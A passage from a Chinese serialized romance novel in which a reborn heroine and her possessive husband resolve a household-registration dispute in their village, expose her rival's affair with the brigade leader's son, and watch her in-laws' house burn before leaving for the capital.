顾煜这次办的，不是什么小打小闹，而是牵扯到两个镇子的事，消息不能往外漏半点。 正因为这样，外头一直安静得很。 直到中午时间到了，其中一人抬手，轻轻敲了敲门，又小心地推开一道缝，准备提醒一句。 结果门刚打开，他整个人就僵住了。 屋里那一幕，让人一时间不知道该不该看。 桌旁，那位在镇长面前都冷淡疏离、说话不留余地的“大佬”，正微微俯身，动作极轻，像是生怕惊醒什么似的，低头在自己媳妇脸颊亲了一下。 那人脑子“嗡”地一下，几乎是条件反射，立刻把门关上，动作快得差点夹到手，转身靠在墙上大喘气，心跳都乱了。 门被关上的那点动静，还是把言昭惊醒了。 她眉心轻轻蹙了一下，睫毛颤了颤，慢慢睁开眼，意识还有些迟钝。 视线刚聚焦，便对上了一双近在咫尺的眼睛。 太近了。 近到她甚至不用抬头，就能清楚地看到顾煜眼底映出的自己。 那一瞬间，她呼吸下意识停了一拍。 顾煜没有退开。 他的目光落在她脸上，安静而专注，和平日里冷静的样子完全不同，眼神温柔得过分。 言昭心口猛地一跳。 一下，又一下，跳得又快又重。 她这才后知后觉地意识到，两人靠得有多近，而这种被人这样看着的感觉，让她脸颊一点点热起来，连呼吸都不自觉乱了节奏。 顾煜像是完全没意识到气氛哪里不对，语气一如既往地自然，甚至还带着点认真。 “这段时间在这边，你也没怎么睡好。”他说着，目光仍旧落在她脸上，“现在还困吗？要不去宾馆开个房？我们现在有结婚证了，可以睡一间。” 言昭当然知道顾煜是在关心她，也明白他说这话没有别的意思。 可那几个字连在一起，还是让她的脸瞬间烧了起来，热意一路蔓延到耳根。 她几乎是条件反射地伸手推了他一下，语气也跟着快了几分：“不、不困了。真的，没事的。” 她别开视线，呼吸有点乱。 顾煜被她推得微微退开一步，愣了一下，才像是后知后觉反应过来，视线在她通红的脸上停了一瞬，没再继续这个话题，只是唇角极轻地动了下。 他把桌上的资料一一收好，重新装进文件袋里，然后随口问了一句：“我们什么时候回京市？” 这句话一出来，言昭心口微微一动。 她当然想立刻回去。 在这儿待的这两天，对她来说几乎是度日如年。 空气、目光、流言，还有那些让人作呕的纠缠，每一样都在消耗耐心。 可下一瞬，言昭又把那点冲动压了下去。 她还不能走。 她要亲眼看到那个病出现，看到它一点点显形，看到顾城跟李玲脸上的慌乱和绝望。 言昭想了想，小声说：“先不着急吧，户口不是还没完全弄好吗？” 这话一出口，顾煜脸上的那点温和几乎是瞬间收了回去。 他原本放松的神情一下子冷了下来，眉眼重新变得阴鸷，连站姿都跟着绷紧了几分。 那种变化很细微，可极其明显，仿佛刚才那点温度只是错觉。 第32章 言昭主动一点，顾煜忍不住 中午吃饭的时候，言昭就察觉到不对劲了。 顾煜坐在她对面，动作一如既往平静，可那股感觉就是不一样。 她现在已经能稍微分辨他的情绪了，他这张脸向来平淡，很少有明显起伏，可只要心情不对，周身的气息就会变得冷一些，让人不自觉地跟着收紧。 言昭低头咬了一口饭，视线忍不住又抬了起来。 顾煜为什么心情不好？ 是镇长那边的事不顺利吗？ 还是那场官司出了什么变数？ 这一顿饭，并不是只有他们两个人。 镇长也在。 言昭坐在一旁，目光不动声色地在桌上转了一圈。 镇长脸上始终挂着笑，说话客气，语气里透着明显的轻松，看不出半点为难的样子。 其他几个人更是如此，席间话不多，但是句句都绕着顾煜转，夸他思路清楚、说话有章法，奉承得毫不掩饰。 怎么看，都不像是事情没办好的样子。 言昭原本悬着的那点心，反倒慢慢落了下去。 可等饭吃完，一行人准备回去的时候，事情忽然变了。 刚离开的镇长急匆匆回来了，来到了顾煜和言昭面前。 他脸上的笑还在，却明显多了几分为难，声音也压低了些。 “顾煜同志，转户口这件事……”他说到这儿，停了一下，像是在斟酌措辞，“有点情况。” 言昭下意识看向顾煜。 顾煜的神色很稳，没有立刻接话，只是等着镇长把话说完。 镇长被他这么一看，反倒更显得局促，叹了口气，还是把话说了出来。 “有人举报，说你爱人的身份不太好。现在……有人有异议。” 顾煜听着笑了。 不是冷笑，也不是敷衍的那种，而是极其温和的笑意，唇角弯起的弧度甚至称得上亲和。 “我爱人是我的童养媳。”他说得很自然，在陈述一个再寻常不过的事实，“从小就是我的媳妇，为什么身份会不好呢？” 镇长明显愣了一下。 童养媳这三个字，对他来说并不陌生。 农村、乡下，这样的包办婚姻并不少见。 镇长当然知道，也默认这是当下很多地方的现实。 可他怎么都没想到，这样的事会落在顾煜身上。 更没想到的是—— 顾煜的这个媳妇，看起来根本不像乡下人。 坐在那里，衣着干净，气质沉稳，眉眼间的从容甚至比不少城里人还要像城里人，这和他印象中的“童养媳”完全对不上。 顾煜像是没察觉到他的震惊，继续往下说：“不信的话，可以去我那生产队问一问。” 镇长沉默了片刻，最终还是点了点头。 “行。”他说得干脆，“我跟你一起回去看看。” 这话一出，旁边的人都愣了一下。 镇长随即又点了两个人，一起同行，态度已经很明显了。 要是换成别人，这种事根本不可能让镇长亲自出面，最多就是下面的人跑一趟、问两句了事。 可这是顾煜。 不只是因为他是京大的大学生，是因为他转户口这件事原本就是板上钉钉的，自己都答应了。 现在突然说不行，那也是打自己的脸。 顾煜没有多说什么，只是点了点头。 言昭脑子飞快转动起来，她是真的没想到，自己的身份，竟然还会耽误转户口这件事。 李玲不可能有这个本事。 她最多也就是来过几次镇子，连门路都摸不清，更别说能把手伸到这种层面。 至于顾城，就更不用提了，他在村里横惯了，可一出了那片地界，立刻就现原形。 他就是个纸老虎。 这一点，言昭上辈子就见得清清楚楚。 那时候她找顾煜要的钱太多，顾城不放心，非要跟着一起来镇子。 结果刚下车没多久，就被人不小心绊了一下，摔得狼狈不堪。 当时周围还有人看着，他愣是连火都不敢发，脸涨得通红，灰溜溜地爬起来就走。 一直等离开了镇子，他才开始骂骂咧咧，说什么城里人眼睛长在头顶上，说什么都是狗德行。 所以也不可能是顾城。 这背后应该是有人在帮李玲。 言昭一路沉默，什么都没说。 可她的情绪变化，顾煜全都看在眼里。 他走在她身侧，步子放得很稳，却在心里轻轻呼出了一口气。 这里的事情，已经不能再拖了，再拖下去，他自己都不确定还能不能继续保持冷静。 有些人，已经开始踩线了。 再不解决掉，他是真的会控制不住自己，想把事情用最直接的方式解决掉。 一行人回到队里的时候，动静不小。 不少人远远看见言昭，本能地就想开口说点什么。 可话还没出口，就先注意到了她身旁站着的那几个人。 三个身穿中山装的男人，站姿笔直，神情严肃，一看就不是普通来走亲戚的。 那股气势一摆出来，原本嘈杂的声音立刻低了下去，连好奇的目光都跟着收敛了不少。 五个人谁也没停，径直往大队长家里走去。 当大家回到大队长家时，院子里静悄悄的。 门虚掩着，里头没人应声。 她站在门口等了一会儿，正好有个路过的人随口说了一句，大队长去了大空地，说是大队为了分地的事，把人都叫过去了。 几个人点了点头，镇长打算去听一听。 但是一股气味顺着风飘了出来。 很淡，但是特别熟悉。 熟悉到言昭心脏猛地一跳，几乎是条件反射般绷紧了后背。 她站在原地，没有立刻动，目光已经慢慢转向屋里，落在大队长的房间方向。 窗关得不严，屋里光线有些暗。 那股气味，正是从那边传出来的。 言昭喉咙发紧，指尖不自觉地收拢。 难道…… 顾煜不知道什么时候已经走到了她身边。 他伸手牵住她的手，微微俯身，声音压得很低，凑到她面前：“怎么了？哪里不舒服吗？” 那一瞬间，言昭猛地回过神来。 她从某个念头里硬生生拉了出来，几乎是立刻摇头：“没事，没事，我们快走吧。” 言昭说完，几乎是下意识地伸手，主动挽住了顾煜的胳膊，带着他往外走，脚步比刚才快了不少。 顾煜的动作顿了一下。 他低头，看了一眼自己胳膊上那只手。 她挽得不紧，却贴得很实在，指尖隔着衣料压着他的手臂，温度清晰得过分。 他的目光顺着那只手慢慢上移，又落回到她脸上。 那一眼，很深。 不动声色，还带着一点阴沉又黏着的意味，在把什么情绪藏在暗处慢慢翻涌。 她明明只是靠近了一点，可像是正好踩在他最不该被碰到的地方。 顾煜喉结轻轻动了一下。 他没有把手抽出来，还顺着她的力道往前走，整个人因为这点主动的贴近，紧绷得发热，连呼吸都沉了几分。 言昭并没有察觉到这些。 她脑子里只剩下一个念头—— 必须尽快离开这里。 再待下去，再多看一眼，她都怕自己会控制不住情绪。 那不是恐惧。 而是一种被印证后的剧烈冲击。 她的心跳快得厉害，指尖发凉，整个人却又异常清醒，情绪翻涌得几乎要压不住。 原来是这样。 原来啊，原来…… 这个香味是李玲身上常用的味道。 用野花晒干、研磨成粉，再混一点油脂抹在身上，带着一股不浓不淡、却很黏人的香气。 李玲一直很喜欢这个，说是城里人才用香，说闻着就和别人不一样。 现在言昭知道，李玲只是想显得与众不同。 队里的女人，日日面朝黄土，衣服旧、手粗、身上是柴火和汗味，只有她，刻意把自己拾掇得干干净净，香香的，像是高人一等似的站在一旁。 那股香味，偏偏出现在大队长家里。 而且门是紧闭的。 这一点，就已经够说明问题了。 大队长家里有两个儿子，大儿子老实憨厚，常年下地干活，早早就娶了个女知青，日子过得平平淡淡，在家里存在感并不高。 反倒是那个小儿子，一直被偏着、护着，是大队长真正放在心上的那个。 这个小儿子，言昭上辈子跟他结过仇。 不是什么深仇大恨，只是几次被他占过便宜、被恶心过，当时她只当是小人作祟，能躲就躲，也没真放在心上。 可现在再回头看，才发现有些人的底子，从一开始就是烂的。 这两个人竟然搞到一起去了。 她没怀疑里面是大儿子，也是李玲那样的人，眼高于顶，又爱显摆，怎么可能看得上一个娶了媳妇、天天种田的庄稼汉。 李玲要的，从来都是“有用”的人。 能给她撑腰的，能让她往上爬的。 言昭心里那点激动，慢慢沉了下去，取而代之的是一种近乎冷静的确定。 原来如此。 那她这个户口问题肯定是这个小儿子搞的鬼了。 突然顾煜抬手捏住了她的下巴，力道很重，直接把她的脸抬了起来。 言昭被迫对上他的眼睛。 那双一向冷静自持的眼，此刻情绪翻涌得厉害，阴郁又压抑，像是有什么被强行按住，可随时都会失控的样子。 他低头看着她，声音压得极低，带着一点危险的意味。 “你在想什么？”他说完，又冷冷补了一句，“在想顾城吗？” 下巴传来的那点疼，让言昭瞬间清醒过来。 她不懂为什么会让他误会自己是在想那个垃圾，但是她能知道顾煜生气了。 言昭几乎是条件反射地连连摇头：“没有，没有。我没想他，真的没有。” 顾煜盯着她看了几秒，那股阴沉的情绪在他眼底缓缓收拢。 随后，他忽然笑了一下。 不是刚才那种冷淡的笑。 而是明显松动下来的神情，很温柔。 那一刻，言昭整个人都跟着松了口气，心跳还没稳下来，就已经下意识往前凑了一步，贴近他耳边，小声说了一句：“等会儿跟你讲。” 她贴得太近了。 说话时，顾煜能清楚感觉到她呼吸间带起的温热气息落在自己耳侧，那点若有若无的温度一靠近，原本在他身上弥漫开的冷意，几乎是瞬间被压了下去。 像是被人顺着毛捋了一把。 他喉结轻轻动了动，侧过脸，语气还有点没完全收住，是那种情绪刚被按回去后的生硬：“你要跟我说什么？” 言昭眨了眨眼。她声音压得很低，带着点刻意的神秘：“等会儿，没人的时候再说。” 顾煜应了一声：“好。” 只是那被她靠近过的地方，温度迟迟没散。 这边大队长一开始是真的不信。 在他眼里，言昭不过是个逃荒时被捡回来的孤女而已。 就算追溯身世，真是地主家的孩子，那也是过去的事了。 她从小在队里长大，吃的是队里的粮，干的是队里的活，如今还是顾煜明媒正娶的媳妇，还有结婚证白纸黑字摆在那呢。 可问题，就出在他那个小儿子身上。 那孩子嘴甜，会说话，又惯会把事往严重了讲，天天在他耳边念叨，说什么现在形势还没彻底稳，要是让言昭把户口挪去京市，将来京市那边一旦出点什么事，往下查，肯定要牵连到最开始点头的人，到时候第一个倒霉的就是他这个大队长。 说得久了，听得多了，大队长心里也开始犯嘀咕。 所以前两天去镇里开会的时候，他也只是顺嘴提了一句，没有定论，更没想着真拦。 哪知道这一句话，却被人抓住了由头，越传越歪，最后竟然闹到了现在这个地步。 更没想到的是—— 镇长会亲自过来。 大队长站在那儿，心里已经开始发虚了。 镇长把情况问得很细。 他没有一上来就下结论，而是让大队长把事情从头到尾说清楚。 大队长如实说了。 镇长一边听，一边点头。 他身边带来的那两个人也没闲着，分别去问了队里其他人，问言昭这些年在队里的情况，问她是不是一直跟顾煜生活在一起，结婚证是不是属实。 前后不过一会儿，事情就理清了。 镇长重新站定，目光从大队长身上移开，转而看向顾煜，没有再绕弯子：“你爱人户口这件事，没有问题。材料齐全，婚姻关系清楚，人也没有任何问题。明天手续就给你开出来，直接按流程走。” 顾煜点头，然后就拉着言昭离开。 第33章 言昭在想，他又怎么了？ 顾煜几乎没再去管后面的那些事。 镇长还在跟大队长交代什么，他们说分地的事情，这些声音在他耳边已经变得很模糊了。 他现在只惦记一件事—— 言昭到底要跟自己讲什么事情？ 这件事，让他全程都处在分神的状态里。 顾煜没有再等。 他伸手扣住言昭的手腕，转身就往外走。 言昭被他拉得踉跄了一下，差点没站稳，下意识以为是出了什么急事，脚步也跟着快了起来。 “怎么了？” 她忍不住问了一句。 顾煜没有回头，只是握着她的手更紧了一点，声音低低的，带着明显的急切：“你不是有话要跟我说吗？” 言昭是真没想到，他这么着急，竟然是为了听这个。 她原本以为顾煜一贯不太在意旁人的事，没想到也喜欢听别人的事情。 有点小意外。 言昭点了点头，被他拉着站定，这才下意识往四周看了一眼，确认没人靠近，才微微凑近他，声音压得很低：“我发现……李玲在偷人。” 话音落下的一瞬间，顾煜的眼神变了。 最开始，是很明显的疑惑，像是这个结果完全不在他的预期之内，他下意识地皱了下眉，显然没把“李玲”和这种事直接对上。 紧接着，那点疑惑里又浮起一丝奇怪，不是震惊，而是逻辑上的不通。 那层情绪在他眼底停留了一瞬，很快被更深的思索压了下去。 再然后，他轻轻眯起了眼。 “你要跟我说的是这件事？” 顾煜开口问，语气不轻不重。 言昭连连点头，压着声音却难掩兴奋：“我刚刚在大队长家里闻到了她那个香味，就是她平时用的那种，肯定是她，她一定是在大队长家里偷人！” 她说这话时，神色略微激动，眼睛亮得很。 顾煜语气淡淡地问：“她偷人，你很高兴？” 言昭一愣，下意识就想点头—— 她当然高兴，没想到这两个烂货凑到一起，原来都不是什么好东西。 可话到嘴边，她忽然注意到顾煜的眼神变了。 她反应过来，立刻收住了那点外露的情绪，嘴角的弧度也压了下去。 按理说，她现在不该高兴，李玲再怎么说，也是他哥哥的媳妇。 言昭一下子紧张起来。 她赶紧解释，语速都快了几分：“我也不是高兴……就是、就是知道这件事之后很吃惊，一下子不知道该怎么办。” 说到后面，声音反而低了下去。 她小心翼翼地抬眼去看顾煜。 顾煜没有立刻说话，只是轻轻呼出了一口气，那口气像是把刚才那点压着的情绪慢慢放了下来。 随后，他看向她，语气比刚才低缓了不少。 “你跟我说过，”他说，“你不喜欢顾城。” 言昭愣了一下。 怎么又绕到这个问题上来了？ 这个问题，她好像已经说过很多遍了。 不喜欢、不在意、早就没关系了，这些话她反反复复讲过。 可偏偏，顾煜也反反复复要确认。 言昭张了张嘴，还是把话说了出来。 “我知道你不喜欢你这个大哥。”她语气放得很轻，却很认真，“你放心，我真的跟他没关系，从头到尾都没有。你相信我。” 这话她说得很肯定，觉得自己已经把能解释的、该解释的，全都摊开了。 顾煜就那么看着她。 神情很平静，没有质疑，也没有追问，眼底的情绪却深得让人看不清。 他看了她几秒，什么都没说，随后转身就走。 在他转身离开的那一瞬间，言昭好像听见了一声很轻的叹息，短促又压低。 …… 言昭回到屋里，心里那股劲一直压着。 她第一反应，就是把李玲偷人的事直接爆出来。 她几乎能想象到顾城知道后的样子，两个烂人撕在一起，狗咬狗，一地烂泥，光是想一想，都解气。 可念头一转，她又停住了。 这么直接爆出来，太便宜他们了。 而且事一闹大，指不定还要把火往自己身上引。 到时候是非一多，反倒让李玲有机会倒打一耙，把脏水泼回来。 言昭抬起头，正好撞上顾煜的视线。 他不知道看了她多久，目光安静，可带着一种让人无法忽视的存在感。 言昭眨了下眼，小声问：“现在户口已经解决了，我们是不是可以回京市了？” 顾煜没有立刻回答。 他默默地收回目光，听见她是说“回京市”，神色显缓和了许多。 他轻轻应了一声：“嗯，明天回去。” 这三个字落下，言昭心口一松，随即又微微一紧。 明天回去。 那就意味着，今天，必须把该做的事都做完了。 …… 夜里。 言昭还在洗澡，外头忽然吵了起来。 她匆匆把衣服换好走出来，就看见院外一群人往一个方向跑。 顾煜站在门口。 他没动，也没拦，对那阵骚动毫无反应。 言昭一出来，就有人冲她喊：“言昭！顾煜！你们家房子又起火了！” 她几乎是脱口而出：“什么？” 言昭的第一反应不是别的，是那几个已经收拾好的包裹。 衣服、证件、要带去京市的东西…… 虽然证件跟钱都拿出来了，但是衣服还没带出来。 她拉着顾煜就是跑回去，就看到火光已经映红了半边夜色。 现在火已经彻底失控了。 整间房子被火舌吞没，屋顶、门框、梁柱全在烧，热浪一阵阵往外翻，根本靠近不了半步。 有人提着水桶想冲过去，刚靠近就被逼得连连后退，水泼上去连响都没响一声。 救不了。 也冲不进去。 此时顾城他整个人瘫在地上，嗓子都哑了，一边拍地一边哀嚎，脸被熏得漆黑，五官都快看不清了，只剩下那点哭嚎声，刺耳又狼狈。 李玲也站在旁边哭。 哭得很用力，嗓子发紧，眼泪一把一把往下掉，站得离火堆不近不远，身上也是很脏，头发烧焦了一半。 周围的人却顾不上同情。 有人忙着往自家院子提水，生怕火星再蹿过去，有人压着火气骂骂咧咧：“这顾家怎么回事？一连烧两次！” “这老顾家就是个祸害啊！” 言昭站在人群外，伸手抱住了顾煜的胳膊，声音贴得很近，低声说：“幸好我把我们的结婚证和钱都贴身放着了，没有被烧掉。” 她说完抬起头看他。 那一瞬间，她清楚地看见顾煜唇角勾起了一下，弧度很大，笑意也很明显。 可下一秒，在他低头看向她的时候，那点笑意已经消失得干干净净。 恢复成平静，冷淡的样子。 平静到让言昭怀疑刚才是不是自己看错了。 她没来得及多想，顾煜已经抬手，落在她头上，轻轻揉了揉。 “是的。”他说，“房子没了，那些脏东西也没了，所以我们不用难受。” 言昭知道顾煜一直嫌这个房子脏。 这个房子，他本就没进去过几次，说到底也从来没当成过自己的地方。 现在被烧掉，看着惨，其实也不算什么坏事。 要是真留着，等她跟顾煜回了京市，顾城十有八九会住进去。 一想到这里，言昭就只剩下恶心。 李玲突然尖声叫了起来。 她猛地指着言昭，声音又急又厉：“是不是你烧的！你要回京市了，所以才把房子烧了！” 话一出口，她像是忽然抓住了什么，情绪瞬间失控，越说越快，眼睛通红：“第一次肯定也是你烧的！你肯定早就知道顾城喜欢我！” 这一刻，周围猛地安静下来。 几道目光，齐刷刷地落在言昭身上。 原本嘈杂的火场，只剩下火焰噼啪作响。 言昭就知道这女人会倒打一耙，冷笑了一声：“不说我刚刚在洗澡，再说了，我知道顾城喜欢你，不是很正常吗？你可是我好姐妹，天天在我耳边说顾城对你多好。” 她顿了顿，语气里带着明显的嘲讽：“你不会又要说我喜欢顾城吧？我男人可是顾煜。” 这句话一落，场面立刻变了。 人群里立刻有人点头，觉得这话在理。 大队长的大儿媳妇也站出来说：“是啊，刚刚人家两口子还在我家洗澡呢，这事我作证。” 周围的议论声随之响起。 “也是，我刚刚过来还看到顾煜站在刘家门口呢。” “再说了，有顾煜这个京市大学生在这儿。” 目光开始从言昭身上移开，慢慢落回到李玲那边。 顾城突然惨叫了一声。 声音撕裂又突兀，把所有人的注意力都拉了过去。 这时大家才发现，他那张本就被熏得漆黑的脸上，全是血，额角不知道什么时候被什么划开了，血顺着往下淌，看着格外吓人。 大队长这才赶过来，脸色一下子沉了。 “还愣着干什么，送卫生院去！”他挥手让人去安排，语气里全是不耐烦。 真要闹出人命，责任最后还是落在他这个大队长头上。 火慢慢熄了。 可房子也彻底没了。 不只是屋子，连顾城后来搭的那个破棚子，也一并烧成了灰，整块地方黑乎乎一片，只剩下焦木和瓦砾，彻底成了废墟。 言昭站在一旁，看了一眼，又很快收回目光。 她和顾煜倒没什么可担心的，钱还在，人也要走了，大不了在大队长家借住一晚，明天就回京市。 反倒是李玲，站在那儿，脸色发白。 她想回娘家。 可李家那边早就听说了风声，门都没让进，只丢下一句让她滚。 …… 次日天还没亮透，外头就已经吵开了。 言昭是被骂声吵醒的。 她刚动了动身子，想坐起来，腰间忽然一紧，被人从后面直接搂了回去。 顾煜半梦半醒，额头贴在她肩窝处，低低地蹭了蹭，声音带着没散干净的困意：“再睡一会。” 那点温热贴上来的一瞬间，言昭脸“唰”地一下就红了。 还没等她反应过来，外头一阵更大的骂声炸开，尖厉又刺耳。 “你个不要脸的东西！” “昨晚人都被看见了，你还敢狡辩？！” 言昭心头一跳，也顾不上害羞了，伸手推了他一下，压低声音：“外面是不是出事了？” 顾煜睁开眼，神色冷静，显然也听见了外头的动静，但没急着起身，只是松开她，坐起来整理衣服：“吵很久了。” 话音刚落，外头又传来一阵哭嚎。 是李玲的声音。 这回不遮不掩了，嗓子都喊劈了，一边哭一边骂，说有人害她，说有人看不惯她要把她往死里逼。 紧接着，是男人暴怒的吼声，还有碗盆摔在地上的脆响。 言昭一走出来，就看到院子里乱成一团。 李玲披头散发地站在中间，嗓子已经哭哑了，脸上又红又肿，明显是刚被人揍过，嘴角还挂着血痕。 她死死拽着刘洪的袖子，指节发白，像是抓着最后一根救命稻草。 刘洪站在那儿，肩膀耸着，头低着，不吭声。 他旁边站着个眼生的姑娘，穿得整整齐齐，辫子扎得一丝不乱，脸上气得发白，胸口起伏得厉害，显然是一路憋着火冲过来的。 言昭这才知道刘洪早就有婚约。 就是这个姑娘。 是隔壁村的，亲事早就定下了，彩礼都走过一半了。 今天过来是想见见刘洪，哪知道就看到刘洪跟李玲在拉拉扯扯。 那姑娘还有四个哥哥，已经喊过来了。 人高马大的四个汉子，往院子里一站，脸色一个比一个难看，开口就要刘家给说法。 可偏偏大队长一早就去镇上了，人不在。 刘洪站在那儿，被围在中间，头都不敢抬。 李玲缩在一旁，哭声断断续续，在言昭面前的撒泼的劲头全没了。 言昭跟顾煜刷完牙、洗完脸，就搬了张椅子，拉着顾煜一起坐在院子边上看热闹。 最近的热闹，是真的一茬接一茬。 队里的人最近本来就闲，这会儿听说大队长家出事了，几乎全都围了过来，大队长门口站得乌泱泱一片，里三层外三层，生怕错过一句关键的。 言昭这边觉得奇怪，事情好像顺得有点过头了。 她昨晚才确定李玲偷人的事，自己还没想着怎么搞事呢，今天一早，这桩事就被捅得人尽皆知，几乎没有任何缓冲。 就在院子里吵得最凶的时候，大队长回来了。 刚进院口，就看见自家门前围了一堆人。 还没等大队长开口问，就已经有人七嘴八舌地把事情说了出来。 大队长等真正听明白内容，他那张脸，肉眼可见地白了下去。 这时大队长脚步一晃，几乎是踉跄着冲过去的，一把揪住刘洪的衣领，声音发紧，几乎是从喉咙里挤出来的：“你跟她……睡了没有？” 刘洪被吓得脸色发白，下意识摇头，语速很快：“没有！真没有！我就是……我就是一时糊涂，没到那一步！” 这句话一出，李玲整个人都僵住了。 她是真的没想到，自己走到这一步，找的第二个男人，还是这副嘴脸。 顾城没了，房子没了，连个落脚的地方都没有，她今天过来，本来只是想让刘洪给点钱，好歹能撑一阵子。 她自认已经够丢脸了，也没打算把事情闹成这样。 可刘洪这一句“没有”，是直接把她往泥里按。 李玲眼眶一下子就红了，情绪彻底炸开，猛地扑过去，指甲几乎要抓到刘洪脸上，声音尖厉又崩溃：“你放屁！昨天我们就睡了！你现在在这儿装什么清白？！” 刘洪脸色瞬间煞白，嘴唇抖着，一句话都说不出来。 大队长只觉得眼前一黑，手一松，整个人往后退了一步，直接被这句话抽空了力气。 言昭注意到大队长一副天塌了的样子。 整个人站在那儿，脸色灰白，连骂人的力气都没了，眼神发直，像是在飞快地盘算着什么，又像是已经算不过来了。 这反应……有点太大了吧。 顾煜站在她身侧，目光从院子里扫过，又落回她脸上。 他很快抿紧唇瓣，视线重新落回院子里那一团乱象，眼神冷了下来。 他很厌恶。 厌恶这些肮脏的事情，占住她的目光。 大队长很快回过神来，喉结滚了一下，声音压得很低，却透着明显的疲惫。 他先是让围着的人散一散，想把场面压下来。 可那四个哥哥根本不买账。 大队长沉默了几秒，像是在权衡什么，最后像是下了决心。 他抬起头，语气放得很低：“我赔偿，给你们的钱不用还了，就当我赔罪。之前给你们家的东西，也不用退了。” 大队长说完这话，他当着所有人的面，弯下腰，重重地鞠了一躬。 这一幕出来，院子里瞬间安静了。 那四个哥哥明显愣住了。 他们本来是来讨说法、讨公道的，没想到大队长会这么干脆认赔，还直接低头道歉，一时间竟然不知道该怎么接话。 言昭看到这里，她眼睛亮了。 她已经猜测到大队长这个反应是为什么。 言昭刚站起身，想再看一眼，视线忽然被人截住。 顾煜抬手，指腹扣住她的下巴，直接把她的脸转了过来。 “你在想什么？” 言昭眨了眨眼，被迫对上他的视线，下意识道：“没想什么。” 顾煜微微一笑。 那笑容温柔得过分，眼神安静又深，让人一时间分不清是真是假。 “是吗？” 言昭被他这一笑晃了一下神。 这个人是真的好看，不管什么时候、不管在什么场合，都是避不开的好看。 她顺着自己的心意问了出来：“我们什么时候离开呀？” 顾煜看着她，语气平静：“现在。” 现在离开，带的东西反而比来时还少。 言昭心里还是有点心疼被烧掉的衣服、被子。 全都是花钱买的。 言昭正要跟着顾煜往外走，大队长却急了，连忙上前拦住。 “等等，我有话要说。” 言昭脚步一顿，脸上微微一笑：“大队长，我们赶时间。” 大队长被噎了一下，还是咬牙开口：“你们……知道顾城生病了吗？” 言昭点了点头。 “他生病，不奇怪。” 大队长明显没想到她是这个反应，愣了一下，语气一下子变重：“不是一般的病，是很严重的病！” 这一句落下。 言昭心里那点猜测，彻底坐实了。 她叹了口气，语重心长道：“我们一回来，顾城就不欢迎我们，家里烧掉了不说，还反咬一口，说是我们放的火。 大队长，我觉得我跟我男人，对顾城已经算仁至义尽了。现在房子也没了，我们不想再纠缠，只想回京市。” 院子里安静了一瞬。大队长脸色发沉，只能去看一直没作声的顾煜。 “我刚从医院回来，顾城外伤没什么大问题，就是烧伤了一点，但检查出来，他还有别的病。我知道你们兄弟闹得不好，可他好歹是你大哥，你……” 话还没说完，顾煜忽然笑了。 那笑意很浅，语气也是平静中带着残酷：“他还没死吗？那么大的火，竟然没把他弄死。为什么还没死啊？” 大队长显然没想到顾煜会这么说。 他想到自己那个小儿子，胸口猛地堵住，牙关咬得发紧，声音也沉了下来：“打断骨头还是亲兄弟，你——” 话没说完，又被言昭打断了。 她上前一步，把顾煜挡在身后。 言昭目光直直落在大队长脸上：“大队长，你不要逼顾煜。顾城也从来没把他当兄弟，这一点，你不是不知道。” 这句话把那些遮遮掩掩的事一下掀开了。 顾城这些年做过什么，队里不是没人看在眼里，只是没人愿意掺和。 如今被言昭这么直白地说出来，大队长一时竟接不上话，脸色青一阵白一阵，连原本准备好的说辞都卡在了喉咙里。 顾煜在言昭开口替他说话的那一瞬间，胸腔里那颗心脏还是不受控制地重重跳了一下。 被她护在身后的感觉，让人发紧，又发热。 只是这股热意还没来得及扩散，他心底已经生出另一层情绪。 顾煜忽然意识到，自己想要的并不是这种。 他需要她的在意，可不是为这些无关紧要的小事出头的在意，而是那种只落在他身上的、毫无保留的全身心的在意。 她为什么不在“正确的事情”上在意自己呢？ 顾煜心底那点躁意被生生压住，慢慢沉下去，转而化成一种更深、更黏稠的东西。 他唇角的弧度一点点加深，笑容愈发温柔起来。 第34章 顾煜忍不住亲吻了 言昭跟顾城走了之后。 李玲是被人几乎半推半拖地赶走的。 院子里一安静下来，大队长大儿子刘布的脸色就沉了下去，忍不住开口：“爸，那么多钱都不要？真就这么算了？” 话音刚落，方才一直没外人的刘洪立马从地上站了起来，情绪彻底失控，指着刘布就骂：“不给钱？大哥，你是想让那几个人把我逼死吗！” 刘布看了他一眼，又看向始终没吭声的大队长，嘴唇动了动，最终什么都没说。 倒是大儿媳忍不住了，压着声音道：“爸，你也得想想咱们家，现在队里人都在看笑话……” 这句话刚出口，刘洪就炸了。 “刘家哪有你说话的地方！你——” 话没说完，“啪”的一声。 大队长猛地抬手，一巴掌狠狠扇在刘洪脸上，力道重得他整个人都踉跄了一下，脸当场偏到一边。 这一下，把所有人都打懵了。 刘洪在家一直很受宠，现在没想到会被打。 一直没出声的大队长媳妇老陈氏立马冲了过来，一把护住小儿子，声音又尖又急：“你打他干什么！那李玲不就一个破鞋，队里谁不知道？又不能全怪小洪！” 大队长猛地转头，眼睛发红，声音几乎是吼出来的：“你知道吗？顾城得病了！得的是脏病！” 院子里瞬间死寂。 “你觉得李玲没病吗？” 他盯着老陈氏，一字一句往外砸。 “现在，他跟李玲睡了啊！” 这句话落下，直接把整个刘家最后一点平静彻底撕碎了。 已经回来的顾城，他没找到人。 他站在一片废墟面前，脑子里一片乱麻。 没有钱。 没有房子。 身上还带着治不好的病。 更让他发疯的是，自己刚回来，就知道李玲竟然背着他偷人。 想到这里，他胸口猛地一阵发紧，喉咙发干，连骂人的力气都没有了。 言昭怎么会走呢。 以前不是这样的。 以前只要他一句话，言昭就会低头，就会退让，就会顺着他来。 她会替他收拾烂摊子，会忍着委屈陪在他身边。 只有她。 只有言昭，是最听他话的。 可现在—— 她为什么要离开自己？ 明明自己说了会娶她的。 顾城说自己现在就可以娶啊，她为什么还要走？ …… 另一边，言昭在想要不要去医院看一眼顾城。 看看他现在躺在病床上是什么样子，看看他知道自己得了那种病、房子烧没了、李玲也翻脸之后，会不会真的崩溃。 光是想一想那个画面，她就觉得心口发畅，爽得不行。 可这个念头只转了一圈，就被她自己按了下去。 顾煜很厌恶顾城。 而且他还总是怀疑她喜欢顾城。 如果她现在提一句“要不要去医院看看”，顾煜肯定会当场冷下来，甚至什么都不说，却能让人清清楚楚地感觉到他在生气。 言昭现在太熟悉顾煜这种状态了。 她轻轻叹了口气。 有一瞬间，她甚至忍不住设想—— 顾煜是不是喜欢自己？ 可这个念头刚冒出来，就被她自己否掉了。 不可能的。 上辈子要是真喜欢，怎么会一点反应都没有？ 这辈子也是她主动凑到他身边，是她自己选的路。 两人每一次起冲突、每一次气氛变冷，几乎都绕不开顾城这两个字。 顾煜那么讨厌顾城。 